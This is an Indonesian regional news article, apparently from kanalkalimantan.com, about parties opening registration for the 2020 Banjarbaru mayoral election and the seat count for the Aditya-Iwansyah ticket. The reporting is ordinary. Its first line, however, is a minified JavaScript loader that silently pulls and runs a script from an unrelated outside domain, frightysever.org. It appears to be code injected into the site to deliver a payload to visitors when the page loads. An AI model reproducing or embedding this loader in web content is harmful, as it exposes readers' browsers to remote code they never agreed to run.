(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Sejumlah Partai Politik (Parpol) telah membuka pendaftaran calon Walikota dan Wakil Walikota Banjarbaru dalam beberapa bulan terakhir. Fase ini membuat para kandidat yang ingin berlaga di Pilwali Banjarbaru saling berebut kendaraan politik.
Tercatat, seluruh Parpol pemegang kursi terbanyak di parlemen di Banjarbaru telah resmi menutup pendaftaran. Seperti halnya, Gerindra (6 kursi), Golkar (5 kursi), PDIP (3 kursi), Nasdem (4 kursi), PKB (3 kursi) dan PKS (2 kursi). Sedangkan, di penghujung November ini hanya PAN (2 kursi) saja yang baru dan masih membuka pendaftaran.
Seperti yang sudah ditetapkan oleh KPU, para kandidat yang maju lewat jalur Parpol wajib memiliki 20 persen dari jumlah kursi di DPRD Banjarbaru yang totalnya ada sebanyak 30 kursi. Artinya, untuk satu pasangan diharuskan mendapatkan 6 kursi untuk memenuhi syarat ini.
Saat ini, tentunya para kandidat telah memiliki kalkulasi masing-masing untuk menegaskan syarat jalur Parpol tersebut bisa terpenuhi atau tidak. Apalagi, “bumbu-bumbu” politik di Banjarbaru begitu sangat terasa. Baik itu aroma, sinyal, maupun kedekatan emosional.
Dalam hal ini, salah satu dari kandidat yang bisa menebak kendaraan politik mereka nantinya, ialah Bakal Calon Walikota dan Wakil Walikota Banjarbaru Aditya Mufit Ariffin- AR Iwansyah.
Pasangan penantang ini tercatat mendaftarkan diri mereka ke 6 Partai, yakni Golkar, PDIP, Gerindra, PKB, PKS, dan baru-baru ini ialah Nasdem. Aditya mengakui diantara seluruh Parpol tersebut, telah ada yang mengisyaratkan dukungan terhadapnya. Ia pun meyakini bahwa syarat jalur parpol akan terpenuhi. “Ada beberapa yang sudah ngasih sinyal-sinyal dukungan. Tapi masih berproses. Insya Allah, syarat terpenuhi,” akunya.
Wajar saja jika Aditya meyakini hal tersebut. Pasalnya, pasangan penantang sendiri telah mengantongi dukungan dari PPP (4 kursi) tanpa harus mendaftar.
Baca Juga : ‘Surat Cinta’ DPP PPP untuk Pasangan Aditya-Iwansyah di Pilkada Banjarbaru 2020
Seperti yang diberitakan sebelumnya, PPP telah mengeluarkan Surat keputusan (SK) rekomendasi terkait usungannya kepada Aditya-Iwansyah dan memutuskan untuk tidak membuka pendaftaran di Kota Banjarbaru. Ditambah lagi, Golkar dan PDIP juga menunjukan sinyal untuk merapatkan dukungan ke Aditya-Iwansyah.
Jika di kalkulasikan seluruh kemunkinan ini diatas, maka Aditya-Iwansyah telah mengantongi 12 kursi (PPP 4 kursi, Golkar 5 kursi, dan PDIP 3 kursi).
Meski begitu, politik bukanlah hal yang mudah ditebak. Seluruh keputusan tetap berasal dari DPP partai. Di ranah Parpol pun sampai sekarang belum ada yang berbicara blak-blakan terkait dukungannya. Hanya, PPP yang memastikan tidak membuka penjaringan di Banjarbaru karena kadernya (Aditya) mencalonkan diri.
Aditya mengutarakan usai seluruh keputusan dari tersebut telah diturunkan, maka dirinya akan segerakan mendeklarisikan partai koalisi yang sudah terbentuk. “Kalau koalisi sudah terbentuk, kita pasti deklarasi. Baik itu deklarasi Calon Walikota dan Wakil Walikota, tim pemenangan, dan partai koalisi,” tegasnya. (Rico)
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.